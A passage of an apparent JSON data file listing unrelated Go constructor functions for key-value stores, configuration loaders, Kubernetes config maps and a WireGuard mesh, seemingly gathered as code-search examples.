raw[\\\"melody.home\\\"],\\n\\t\\t//MelodyRulesSource: raw[\\\"melody.rules.sources\\\"],\\n\\t}\\n}\",\n \"func NewKVStore() *KVStore {\\n\\tkvStore := new(KVStore)\\n\\tkvStore.ht = make(map[string][]byte)\\n\\tkvStore.isOrigin = make(map[string]bool)\\n\\n\\t//kvStore.owner = owner\\n\\treturn kvStore\\n}\",\n \"func New(c *Config) (*Backend, error) {\\n\\tif err := validation.Validate.Struct(c); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tb := &Backend{\\n\\t\\tkeys: make(chan *template.Key, 500),\\n\\t\\tlog: c.Logger,\\n\\t\\tsvc: c.SSM,\\n\\t}\\n\\treturn b, nil\\n}\",\n \"func newMetadataBackend(parent string) (MetadataBackend, error) {\\n\\tif err := mkDir(parent); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdb, err := bbolt.Open(path.Join(parent, MetaDB), 0600, &bbolt.Options{Timeout: 1 * time.Second, NoSync: true})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tvar metricIDSequence atomic.Uint32\\n\\tvar tagKeyIDSequence atomic.Uint32\\n\\terr = db.Update(func(tx *bbolt.Tx) error {\\n\\t\\t// create namespace bucket for save namespace/metric\\n\\t\\tnsBucket, err := tx.CreateBucketIfNotExists(nsBucketName)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\t// load metric id sequence\\n\\t\\tmetricIDSequence.Store(uint32(nsBucket.Sequence()))\\n\\t\\t// create metric bucket for save metric metadata\\n\\t\\tmetricBucket, err := tx.CreateBucketIfNotExists(metricBucketName)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\t// load tag key id sequence\\n\\t\\ttagKeyIDSequence.Store(uint32(metricBucket.Sequence()))\\n\\t\\treturn nil\\n\\t})\\n\\tif err != nil {\\n\\t\\t// close bbolt.DB if init metadata err\\n\\t\\tif e := closeFunc(db); e != nil {\\n\\t\\t\\tmetaLogger.Error(\\\"close bbolt.db err when create metadata backend fail\\\",\\n\\t\\t\\t\\tlogger.String(\\\"db\\\", parent), logger.Error(e))\\n\\t\\t}\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &metadataBackend{\\n\\t\\tdb: db,\\n\\t\\tmetricIDSequence: metricIDSequence,\\n\\t\\ttagKeyIDSequence: tagKeyIDSequence,\\n\\t}, err\\n}\",\n \"func newConfig(appName string, pathToKeybase string, log Log, ignoreSnooze bool) (*config, error) {\\n\\tcfg := newDefaultConfig(appName, pathToKeybase, log, ignoreSnooze)\\n\\terr := cfg.load()\\n\\treturn &cfg, err\\n}\",\n \"func newKVClient(storeType, address string, timeout time.Duration) (kvstore.Client, error) {\\n\\tlogger.Infow(\\\"kv-store-type\\\", log.Fields{\\\"store\\\": storeType})\\n\\tswitch storeType {\\n\\tcase \\\"consul\\\":\\n\\t\\treturn kvstore.NewConsulClient(address, timeout)\\n\\tcase \\\"etcd\\\":\\n\\t\\treturn kvstore.NewEtcdClient(address, timeout, log.FatalLevel)\\n\\t}\\n\\treturn nil, errors.New(\\\"unsupported-kv-store\\\")\\n}\",\n \"func NewKVGraph(kv KVInterface) gdbi.ArachneInterface {\\n\\tts := timestamp.NewTimestamp()\\n\\to := &KVGraph{kv: kv, ts: &ts}\\n\\tfor _, i := range o.GetGraphs() {\\n\\t\\to.ts.Touch(i)\\n\\t}\\n\\treturn o\\n}\",\n \"func NewKVMVCC(sub *subKVMVCCConfig, db dbm.DB) *KVMVCCStore {\\n\\tvar kvs *KVMVCCStore\\n\\tenable := false\\n\\tif sub != nil {\\n\\t\\tenable = sub.EnableMVCCIter\\n\\t}\\n\\tif enable {\\n\\t\\tkvs = &KVMVCCStore{db, dbm.NewMVCCIter(db), make(map[string][]*types.KeyValue),\\n\\t\\t\\ttrue, sub.EnableMavlPrune, sub.PruneHeight, false}\\n\\t} else {\\n\\t\\tkvs = &KVMVCCStore{db, dbm.NewMVCC(db), make(map[string][]*types.KeyValue),\\n\\t\\t\\tfalse, sub.EnableMavlPrune, sub.PruneHeight, false}\\n\\t}\\n\\tEnablePrune(sub.EnableMavlPrune)\\n\\tSetPruneHeight(int(sub.PruneHeight))\\n\\treturn kvs\\n}\",\n \"func New(items map[storage.Key]*storage.Value, opts ...func(*Storage)) *Storage {\\n\\tstrg := &Storage{\\n\\t\\tmeta: make(map[storage.MetaKey]storage.MetaValue),\\n\\t}\\n\\tstrg.setItems(items)\\n\\n\\tfor _, f := range opts {\\n\\t\\tf(strg)\\n\\t}\\n\\n\\tif strg.clck == nil {\\n\\t\\tstrg.clck = clock.New()\\n\\t}\\n\\n\\treturn strg\\n}\",\n \"func newK8sCluster(c config.Config) (*k8sCluster, error) {\\n\\tvar kubeconfig *string\\n\\tif home := homedir.HomeDir(); home != \\\"\\\" {\\n\\t\\tkubeconfig = flag.String(\\\"kubeconfig\\\", filepath.Join(home, \\\".kube\\\", \\\"config\\\"), \\\"(optional) absolue path to the kubeconfig file\\\")\\n\\t} else {\\n\\t\\tkubeconfig = flag.String(\\\"kubeconfig\\\", \\\"\\\", \\\"absolue path to the kubeconfig file\\\")\\n\\t}\\n\\tflag.Parse()\\n\\n\\tconfig, err := clientcmd.BuildConfigFromFlags(\\\"\\\", *kubeconfig)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tclientset, err := kubernetes.NewForConfig(config)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &k8sCluster{\\n\\t\\tconfig: c,\\n\\t\\tmutex: sync.Mutex{},\\n\\t\\tpods: make(map[string]string),\\n\\t\\tclientset: clientset,\\n\\t}, nil\\n}\",\n \"func NewKGTK[T codec.ProtoMarshaler](key sdk.StoreKey, internalKey sdk.StoreKey, cdc codec.BinaryCodec, getEmpty func() T, keywords []string) KeywordedGenericTypeKeeper[T] {\\n\\tgtk := KeywordedGenericTypeKeeper[T]{\\n\\t\\tGenericTypeKeeper: NewGTK[T](key, internalKey, cdc, getEmpty),\\n\\t\\tKeyWords: keywords,\\n\\t}\\n\\treturn gtk\\n}\",\n \"func New(key []byte) *Config {\\n\\treturn &Config{\\n\\t\\tsigningKey: key,\\n\\t\\tclock: &utils.RealClock{},\\n\\t}\\n}\",\n \"func newCfg() *cfg {\\n\\tcfg := &cfg{}\\n\\n\\tflag.IntVar(&cfg.pool, \\\"pool\\\", 32,\\n\\t\\t\\\"count of the workers in pool (default: 32)\\\")\\n\\n\\tflag.BoolVar(&cfg.greedy, \\\"greedy\\\", true,\\n\\t\\t\\\"enable greedy mode (default: true)\\\")\\n\\n\\tflag.DurationVar(&cfg.dur, \\\"duration\\\", time.Minute,\\n\\t\\t\\\"pool's heartbeat duration\\\")\\n\\n\\tflag.Parse()\\n\\n\\treturn cfg\\n}\",\n \"func (c *DotQservConfigMapSpec) Create() (client.Object, error) {\\n\\tcr := c.qserv\\n\\ttmplData := generateTemplateData(cr)\\n\\n\\treqLogger := log.WithValues(\\\"Request.Namespace\\\", cr.Namespace, \\\"Request.Name\\\", cr.Name)\\n\\n\\tname := c.GetName()\\n\\tnamespace := cr.Namespace\\n\\n\\tlabels := util.GetComponentLabels(constants.Czar, cr.Name)\\n\\troot := filepath.Join(\\\"/\\\", \\\"configmap\\\", \\\"dot-qserv\\\")\\n\\n\\tcm := &v1.ConfigMap{\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: name,\\n\\t\\t\\tNamespace: namespace,\\n\\t\\t\\tLabels: labels,\\n\\t\\t},\\n\\t\\tData: scanDir(root, reqLogger, &tmplData),\\n\\t}\\n\\n\\treturn cm, nil\\n}\",\n \"func NewKVWatcher(kvType KVStore, address string, prefix string) (Watcher, error) {\\n\\tvar backend store.Backend\\n\\tswitch kvType {\\n\\tcase Consul:\\n\\t\\tconsul.Register()\\n\\t\\tbackend = store.CONSUL\\n\\tcase Zookeeper:\\n\\t\\tzookeeper.Register()\\n\\t\\tbackend = store.ZK\\n\\tcase Etcd:\\n\\t\\tetcd.Register()\\n\\t\\tbackend = store.ETCD\\n\\tdefault:\\n\\t\\treturn nil, fmt.Errorf(\\\"unknown kvType=%d\\\", kvType)\\n\\t}\\n\\n\\tstore, err := valkeyrie.NewStore(backend, []string{address}, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &libkvWatcher{\\n\\t\\tprefix: prefix,\\n\\t\\tstore: store,\\n\\t}, nil\\n}\",\n \"func (inv *ActionVpsConfigCreateInvocation) NewMetaInput() *ActionVpsConfigCreateMetaGlobalInput {\\n\\tinv.MetaInput = &ActionVpsConfigCreateMetaGlobalInput{}\\n\\treturn inv.MetaInput\\n}\",\n \"func newConfigmap(customConfigmap *customConfigMapv1alpha1.CustomConfigMap) *corev1.ConfigMap {\\n\\tlabels := map[string]string{\\n\\t\\t\\\"name\\\": customConfigmap.Spec.ConfigMapName,\\n\\t\\t\\\"customConfigName\\\": customConfigmap.Name,\\n\\t\\t\\\"latest\\\": \\\"true\\\",\\n\\t}\\n\\tname := fmt.Sprintf(\\\"%s-%s\\\", customConfigmap.Spec.ConfigMapName, RandomSequence(5))\\n\\tconfigName := NameValidation(name)\\n\\treturn &corev1.ConfigMap{\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: configName,\\n\\t\\t\\tNamespace: customConfigmap.Namespace,\\n\\t\\t\\tOwnerReferences: []metav1.OwnerReference{\\n\\t\\t\\t\\t*metav1.NewControllerRef(customConfigmap, customConfigMapv1alpha1.SchemeGroupVersion.WithKind(\\\"CustomConfigMap\\\")),\\n\\t\\t\\t},\\n\\t\\t\\tLabels: labels,\\n\\t\\t},\\n\\t\\tData: customConfigmap.Spec.Data,\\n\\t\\tBinaryData: customConfigmap.Spec.BinaryData,\\n\\t}\\n}\",\n \"func NewKeyVault(values map[string]string) (*KV, error) {\\n\\tk := &KV{\\n\\t\\tclient: keyvault.New(),\\n\\t\\turl: strings.TrimSuffix(values[\\\"URL\\\"], \\\"/\\\"),\\n\\t}\\n\\n\\tif k.url == \\\"\\\" {\\n\\t\\treturn nil, fmt.Errorf(\\\"no URL\\\")\\n\\t}\\n\\n\\tvar a autorest.Authorizer\\n\\tvar err error\\n\\tswitch values[\\\"cli\\\"] {\\n\\tcase \\\"true\\\":\\n\\t\\ta, err = auth.NewAuthorizerFromCLIWithResource(resourceKeyVault)\\n\\tdefault:\\n\\t\\ta, err = getAuthorizerFrom(values)\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tk.client.Authorizer = a\\n\\n\\treturn k, nil\\n}\",\n \"func New(options Options) (TKGClient, error) { //nolint:gocritic\\n\\tvar err error\\n\\n\\t// configure log options for tkg library\\n\\tconfigureLogging(options.LogOptions)\\n\\n\\tif options.ConfigDir == \\\"\\\" {\\n\\t\\treturn nil, errors.New(\\\"config directory cannot be empty. Please provide config directory when creating tkgctl client\\\")\\n\\t}\\n\\n\\tif options.ProviderGetter == nil {\\n\\t\\toptions.ProviderGetter = getDefaultProviderGetter()\\n\\t}\\n\\n\\tif options.CustomizerOptions.RegionManagerFactory == nil {\\n\\t\\toptions.CustomizerOptions = types.CustomizerOptions{\\n\\t\\t\\tRegionManagerFactory: region.NewFactory(),\\n\\t\\t}\\n\\t}\\n\\tappConfig := types.AppConfig{\\n\\t\\tTKGConfigDir: options.ConfigDir,\\n\\t\\tProviderGetter: options.ProviderGetter,\\n\\t\\tCustomizerOptions: options.CustomizerOptions,\\n\\t\\tTKGSettingsFile: options.SettingsFile,\\n\\t}\\n\\n\\terr = ensureTKGConfigFile(options.ConfigDir, options.ProviderGetter)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tallClients, err := clientcreator.CreateAllClients(appConfig, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tvar clusterKubeConfig *types.ClusterKubeConfig\\n\\tif options.KubeConfig != \\\"\\\" {\\n\\t\\tclusterKubeConfig = &types.ClusterKubeConfig{\\n\\t\\t\\tFile: options.KubeConfig,\\n\\t\\t\\tContext: options.KubeContext,\\n\\t\\t}\\n\\t}\\n\\n\\ttkgClient, err := client.New(client.Options{\\n\\t\\tClusterCtlClient: allClients.ClusterCtlClient,\\n\\t\\tReaderWriterConfigClient: allClients.ConfigClient,\\n\\t\\tRegionManager: allClients.RegionManager,\\n\\t\\tTKGConfigDir: options.ConfigDir,\\n\\t\\tTimeout: constants.DefaultOperationTimeout,\\n\\t\\tFeaturesClient: allClients.FeaturesClient,\\n\\t\\tTKGConfigProvidersClient: allClients.TKGConfigProvidersClient,\\n\\t\\tTKGBomClient: allClients.TKGBomClient,\\n\\t\\tTKGConfigUpdater: allClients.TKGConfigUpdaterClient,\\n\\t\\tTKGPathsClient: allClients.TKGConfigPathsClient,\\n\\t\\tClusterKubeConfig: clusterKubeConfig,\\n\\t\\tClusterClientFactory: clusterclient.NewClusterClientFactory(),\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// ensure BoM and Providers prerequisite files are extracted if missing\\n\\terr = ensureBoMandProvidersPrerequisite(options.ConfigDir, allClients.TKGConfigUpdaterClient, options.ForceUpdateTKGCompatibilityImage)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"unable to ensure prerequisites\\\")\\n\\t}\\n\\t// Set default BOM name to the config variables to use during template generation\\n\\tdefaultBoMFileName, err := allClients.TKGBomClient.GetDefaultBoMFileName()\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"unable to get default BOM file name\\\")\\n\\t}\\n\\tallClients.ConfigClient.TKGConfigReaderWriter().Set(constants.ConfigVariableDefaultBomFile, defaultBoMFileName)\\n\\n\\treturn &tkgctl{\\n\\t\\tconfigDir: options.ConfigDir,\\n\\t\\tkubeconfig: options.KubeConfig,\\n\\t\\tkubecontext: options.KubeContext,\\n\\t\\tappConfig: appConfig,\\n\\t\\ttkgBomClient: allClients.TKGBomClient,\\n\\t\\ttkgConfigUpdaterClient: allClients.TKGConfigUpdaterClient,\\n\\t\\ttkgConfigProvidersClient: allClients.TKGConfigProvidersClient,\\n\\t\\ttkgConfigPathsClient: allClients.TKGConfigPathsClient,\\n\\t\\ttkgClient: tkgClient,\\n\\t\\tproviderGetter: options.ProviderGetter,\\n\\t\\ttkgConfigReaderWriter: allClients.ConfigClient.TKGConfigReaderWriter(),\\n\\t}, nil\\n}\",\n \"func NewConfig(cfgFile string, fs filesystem.FileSystem, kubeCfg kubeconfig.KubeConfig) (Config, error) {\\n\\tcfg := Config{\\n\\t\\tfilesystem: fs,\\n\\t\\tkubeCfg: kubeCfg,\\n\\t}\\n\\n\\tif err := cfg.load(cfgFile); err != nil {\\n\\t\\treturn cfg, err\\n\\t}\\n\\n\\treturn cfg, nil\\n}\",\n \"func newStore(c *Config) (*Store, error) {\\n\\tif c == nil {\\n\\t\\tc = defaultConfig()\\n\\t}\\n\\tmutex := &sync.RWMutex{}\\n\\tstore := new(Store)\\n\\tstartTime := time.Now().UTC()\\n\\tfileWatcher, err := newWatcher(\\\".\\\")\\n\\tif err != nil {\\n\\t\\tlog.Info(fmt.Sprintf(\\\"unable to init file watcher: %v\\\", err))\\n\\t}\\n\\tif c.Monitoring {\\n\\t\\tmonitoring.Init()\\n\\t}\\n\\tstore.fileWatcher = fileWatcher\\n\\tstore.store = makeStorage(\\\"\\\")\\n\\tstore.keys = []string{}\\n\\tstore.compression = c.Compression\\n\\tstore.dbs = make(map[string]*DB)\\n\\tstore.lock = mutex\\n\\tstore.stat = new(stats.Statistics)\\n\\tstore.stat.Start = startTime\\n\\tstore.indexes = make(map[string]*index)\\n\\tc.setMissedValues()\\n\\tstore.config = c\\n\\tif c.LoadPath != \\\"\\\" {\\n\\t\\terrLoad := loadData(store, c.LoadPath)\\n\\t\\tif errLoad != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"unable to load data: %v\\\", errLoad)\\n\\t\\t}\\n\\t}\\n\\tstore.writer, err = newWriter(c.LoadPath)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"unable to create writer: %v\\\", err)\\n\\t}\\n\\treturn store, nil\\n}\",\n \"func makeKvStore(cluster []string, id int, port int, join bool, etcd bool) {\\n\\tdefer wg.Done()\\n\\tproposeC := make(chan string)\\n\\tdefer close(proposeC)\\n\\tconfChangeC := make(chan raftpb.ConfChange)\\n\\tdefer close(confChangeC)\\n\\n\\t// raft provides a commit stream for the proposals from the http api\\n\\tvar kvs *kvstore\\n\\tgetSnapshot := func() ([]byte, error) { return kvs.getSnapshot() }\\n\\tcommitC, errorC, snapshotterReady := newRaftNode(id, cluster, join, getSnapshot, proposeC, confChangeC)\\n\\n\\tkvs = newKVStore(<-snapshotterReady, proposeC, commitC, errorC)\\n\\n\\t// the key-value http handler will propose updates to raft\\n\\tserveHttpKVAPI(kvs, port, confChangeC, errorC)\\n}\",\n \"func NewKeyValue()(*KeyValue) {\\n m := &KeyValue{\\n }\\n m.SetAdditionalData(make(map[string]interface{}));\\n odataTypeValue := \\\"#microsoft.graph.keyValue\\\";\\n m.SetOdataType(&odataTypeValue);\\n return m\\n}\",\n \"func NewConfigMap(cr *databasev1alpha1.PostgreSQL) (*v1.ConfigMap, error) {\\n\\tlabels := utils.NewLabels(\\\"postgres\\\", cr.ObjectMeta.Name, \\\"postgres\\\")\\n\\tabsPath, _ := filepath.Abs(\\\"scripts/pre-stop.sh\\\")\\n\\tpreStop, err := ioutil.ReadFile(absPath)\\n\\n\\tif err != nil {\\n\\t\\tlog.Error(err, \\\"Unable to read file.\\\")\\n\\t\\treturn nil, err\\n\\t}\\n\\tconfigMap := &v1.ConfigMap{\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: cr.ObjectMeta.Name + \\\"-postgresql-hooks-scripts\\\",\\n\\t\\t\\tLabels: labels,\\n\\t\\t\\tNamespace: cr.Spec.Namespace,\\n\\t\\t},\\n\\t\\tData: map[string]string{\\n\\t\\t\\t\\\"pre-stop.sh\\\": string(preStop),\\n\\t\\t},\\n\\t}\\n\\n\\treturn configMap, nil\\n}\",\n \"func New(ctx context.Context, m map[string]interface{}) (storage.Registry, error) {\\n\\tvar c config\\n\\tif err := cfg.Decode(m, &c); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &reg{c: &c}, nil\\n}\",\n \"func New(conf map[string]string) *Conf {\\n\\treturn &Conf{\\n\\t\\tc: conf,\\n\\t}\\n}\",\n \"func newEphemeralKV(s *concurrency.Session, key, val string) (*EphemeralKV, error) {\\n\\tk, err := newKV(s.Client(), key, val, s.Lease())\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &EphemeralKV{*k}, nil\\n}\",\n \"func (c *ContainerConfigMapSpec) Create() (client.Object, error) {\\n\\tcr := c.qserv\\n\\ttmplData := generateTemplateData(cr)\\n\\n\\treqLogger := log.WithValues(\\\"Request.Namespace\\\", cr.Namespace, \\\"Request.Name\\\", cr.Name)\\n\\n\\tname := c.GetName()\\n\\tnamespace := cr.Namespace\\n\\n\\tlabels := util.GetContainerLabels(c.ContainerName, cr.Name)\\n\\troot := filepath.Join(\\\"/\\\", \\\"configmap\\\", string(c.ContainerName), c.Subdir)\\n\\n\\tcm := &v1.ConfigMap{\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: name,\\n\\t\\t\\tNamespace: namespace,\\n\\t\\t\\tLabels: labels,\\n\\t\\t},\\n\\t\\tData: scanDir(root, reqLogger, &tmplData),\\n\\t}\\n\\treturn cm, nil\\n}\",\n \"func New(backend Backend, enc encapsulation.Encapsulator, granularity Granularity, hostname string, port int, subnet *net.IPNet, local, cni bool, cniPath, iface string, cleanup bool, cleanUpIface bool, createIface bool, mtu uint, resyncPeriod time.Duration, prioritisePrivateAddr, iptablesForwardRule bool, serviceCIDRs []*net.IPNet, logger log.Logger, registerer prometheus.Registerer) (*Mesh, error) {\\n\\tif err := os.MkdirAll(kiloPath, 0700); err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to create directory to store configuration: %v\\\", err)\\n\\t}\\n\\tprivateB, err := os.ReadFile(privateKeyPath)\\n\\tif err != nil && !os.IsNotExist(err) {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to read private key file: %v\\\", err)\\n\\t}\\n\\tprivateB = bytes.Trim(privateB, \\\"\\\\n\\\")\\n\\tprivate, err := wgtypes.ParseKey(string(privateB))\\n\\tif err != nil {\\n\\t\\tlevel.Warn(logger).Log(\\\"msg\\\", \\\"no private key found on disk; generating one now\\\")\\n\\t\\tif private, err = wgtypes.GeneratePrivateKey(); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tif err := os.WriteFile(privateKeyPath, []byte(private.String()), 0600); err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"failed to write private key to disk: %v\\\", err)\\n\\t\\t}\\n\\t}\\n\\tpublic := private.PublicKey()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcniIndex, err := cniDeviceIndex()\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to query netlink for CNI device: %v\\\", err)\\n\\t}\\n\\tvar kiloIface int\\n\\tif createIface {\\n\\t\\tlink, err := netlink.LinkByName(iface)\\n\\t\\tif err != nil {\\n\\t\\t\\tkiloIface, _, err = wireguard.New(iface, mtu)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, fmt.Errorf(\\\"failed to create WireGuard interface: %v\\\", err)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tkiloIface = link.Attrs().Index\\n\\t\\t}\\n\\t} else {\\n\\t\\tlink, err := netlink.LinkByName(iface)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"failed to get interface index: %v\\\", err)\\n\\t\\t}\\n\\t\\tkiloIface = link.Attrs().Index\\n\\t}\\n\\tprivateIP, publicIP, err := getIP(hostname, kiloIface, enc.Index(), cniIndex)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to find public IP: %v\\\", err)\\n\\t}\\n\\tvar privIface int\\n\\tif privateIP != nil {\\n\\t\\tifaces, err := interfacesForIP(privateIP)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"failed to find interface for private IP: %v\\\", err)\\n\\t\\t}\\n\\t\\tprivIface = ifaces[0].Index\\n\\t\\tif enc.Strategy() != encapsulation.Never {\\n\\t\\t\\tif err := enc.Init(privIface); err != nil {\\n\\t\\t\\t\\treturn nil, fmt.Errorf(\\\"failed to initialize encapsulator: %v\\\", err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tlevel.Debug(logger).Log(\\\"msg\\\", fmt.Sprintf(\\\"using %s as the private IP address\\\", privateIP.String()))\\n\\t} else {\\n\\t\\tenc = encapsulation.Noop(enc.Strategy())\\n\\t\\tlevel.Debug(logger).Log(\\\"msg\\\", \\\"running without a private IP address\\\")\\n\\t}\\n\\tvar externalIP *net.IPNet\\n\\tif prioritisePrivateAddr && privateIP != nil {\\n\\t\\texternalIP = privateIP\\n\\t} else {\\n\\t\\texternalIP = publicIP\\n\\t}\\n\\tlevel.Debug(logger).Log(\\\"msg\\\", fmt.Sprintf(\\\"using %s as the public IP address\\\", publicIP.String()))\\n\\tipTables, err := iptables.New(iptables.WithRegisterer(registerer), iptables.WithLogger(log.With(logger, \\\"component\\\", \\\"iptables\\\")), iptables.WithResyncPeriod(resyncPeriod))\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to IP tables controller: %v\\\", err)\\n\\t}\\n\\tmesh := Mesh{\\n\\t\\tBackend: backend,\\n\\t\\tcleanup: cleanup,\\n\\t\\tcleanUpIface: cleanUpIface,\\n\\t\\tcni: cni,\\n\\t\\tcniPath: cniPath,\\n\\t\\tenc: enc,\\n\\t\\texternalIP: externalIP,\\n\\t\\tgranularity: granularity,\\n\\t\\thostname: hostname,\\n\\t\\tinternalIP: privateIP,\\n\\t\\tipTables: ipTables,\\n\\t\\tkiloIface: kiloIface,\\n\\t\\tkiloIfaceName: iface,\\n\\t\\tnodes: make(map[string]*Node),\\n\\t\\tpeers: make(map[string]*Peer),\\n\\t\\tport: port,\\n\\t\\tpriv: private,\\n\\t\\tprivIface: privIface,\\n\\t\\tpub: public,\\n\\t\\tresyncPeriod: resyncPeriod,\\n\\t\\tiptablesForwardRule: iptablesForwardRule,\\n\\t\\tlocal: local,\\n\\t\\tserviceCIDRs: serviceCIDRs,\\n\\t\\tsubnet: subnet,\\n\\t\\ttable: route.NewTable(),\\n\\t\\terrorCounter: prometheus.NewCounterVec(prometheus.CounterOpts{\\n\\t\\t\\tName: \\\"kilo_errors_total\\\",\\n\\t\\t\\tHelp: \\\"Number of errors that occurred while administering the mesh.\\\",\\n\\t\\t}, []string{\\\"event\\\"}),\\n\\t\\tleaderGuage: prometheus.NewGauge(prometheus.GaugeOpts{\\n\\t\\t\\tName: \\\"kilo_leader\\\",\\n\\t\\t\\tHelp: \\\"Leadership status of the node.\\\",\\n\\t\\t}),\\n\\t\\tnodesGuage: prometheus.NewGauge(prometheus.GaugeOpts{\\n\\t\\t\\tName: \\\"kilo_nodes\\\",\\n\\t\\t\\tHelp: \\\"Number of nodes in the mesh.\\\",\\n\\t\\t}),\\n\\t\\tpeersGuage: prometheus.NewGauge(prometheus.GaugeOpts{\\n\\t\\t\\tName: \\\"kilo_peers\\\",\\n\\t\\t\\tHelp: \\\"Number of peers in the mesh.\\\",\\n\\t\\t}),\\n\\t\\treconcileCounter: prometheus.NewCounter(prometheus.CounterOpts{\\n\\t\\t\\tName: \\\"kilo_reconciles_total\\\",\\n\\t\\t\\tHelp: \\\"Number of reconciliation attempts.\\\",\\n\\t\\t}),\\n\\t\\tlogger: logger,\\n\\t}\\n\\tregisterer.MustRegister(\\n\\t\\tmesh.errorCounter,\\n\\t\\tmesh.leaderGuage,\\n\\t\\tmesh.nodesGuage,\\n\\t\\tmesh.peersGuage,\\n\\t\\tmesh.reconcileCounter,\\n\\t)\\n\\treturn &mesh, nil\\n}\",\n \"func New() INI {\\n\\treturn INI{defaultSection: make(kvMap)}\\n}\",\n \"func New(options file.Options) config.Configuration {\\n\\treturn file.NewFileConfiguration(\\n\\t\\tfile.FullOptions{\\n\\t\\t\\tOptions: options.WithDefaults(),\\n\\t\\t\\tByteToMapReader: yamlFileValuesFiller,\\n\\t\\t\\tReflectionMapper: yamlFileValuesMapper,\\n\\t\\t},\\n\\t)\\n}\",\n \"func New(_ logger.Logf, secretName string) (*Store, error) {\\n\\tc, err := kube.New()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcanPatch, err := c.CheckSecretPermissions(context.Background(), secretName)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &Store{\\n\\t\\tclient: c,\\n\\t\\tcanPatch: canPatch,\\n\\t\\tsecretName: secretName,\\n\\t}, nil\\n}\",\n \"func (f *MemKv) newWatcher(ctx context.Context, key string, fromVersion string) (*watcher, error) {\\n\\tif strings.HasSuffix(key, \\\"/\\\") {\\n\\t\\treturn nil, fmt.Errorf(\\\"Watch called on a prefix\\\")\\n\\t}\\n\\treturn f.watch(ctx, key, fromVersion, false)\\n}\",\n \"func newConfigFromMap(cfgMap map[string]string) (*configstore, error) {\\n\\tdata, ok := cfgMap[configdatakey]\\n\\tif !ok {\\n\\t\\treturn nil, fmt.Errorf(\\\"config data not present\\\")\\n\\t}\\n\\treturn &configstore{data}, nil\\n}\",\n \"func NewMetadata(\\n\\tlogger log.Logger,\\n\\tenableGlobalDomain dynamicconfig.BoolPropertyFn,\\n\\tfailoverVersionIncrement int64,\\n\\tmasterClusterName string,\\n\\tcurrentClusterName string,\\n\\tclusterInfo map[string]config.ClusterInformation,\\n\\treplicationConsumer *config.ReplicationConsumerConfig,\\n) Metadata {\\n\\n\\tif len(clusterInfo) == 0 {\\n\\t\\tpanic(\\\"Empty cluster information\\\")\\n\\t} else if len(masterClusterName) == 0 {\\n\\t\\tpanic(\\\"Master cluster name is empty\\\")\\n\\t} else if len(currentClusterName) == 0 {\\n\\t\\tpanic(\\\"Current cluster name is empty\\\")\\n\\t} else if failoverVersionIncrement == 0 {\\n\\t\\tpanic(\\\"Version increment is 0\\\")\\n\\t}\\n\\n\\tversionToClusterName := make(map[int64]string)\\n\\tfor clusterName, info := range clusterInfo {\\n\\t\\tif failoverVersionIncrement <= info.InitialFailoverVersion || info.InitialFailoverVersion < 0 {\\n\\t\\t\\tpanic(fmt.Sprintf(\\n\\t\\t\\t\\t\\\"Version increment %v is smaller than initial version: %v.\\\",\\n\\t\\t\\t\\tfailoverVersionIncrement,\\n\\t\\t\\t\\tinfo.InitialFailoverVersion,\\n\\t\\t\\t))\\n\\t\\t}\\n\\t\\tif len(clusterName) == 0 {\\n\\t\\t\\tpanic(\\\"Cluster name in all cluster names is empty\\\")\\n\\t\\t}\\n\\t\\tversionToClusterName[info.InitialFailoverVersion] = clusterName\\n\\n\\t\\tif info.Enabled && (len(info.RPCName) == 0 || len(info.RPCAddress) == 0) {\\n\\t\\t\\tpanic(fmt.Sprintf(\\\"Cluster %v: rpc name / address is empty\\\", clusterName))\\n\\t\\t}\\n\\t}\\n\\n\\tif _, ok := clusterInfo[currentClusterName]; !ok {\\n\\t\\tpanic(\\\"Current cluster is not specified in cluster 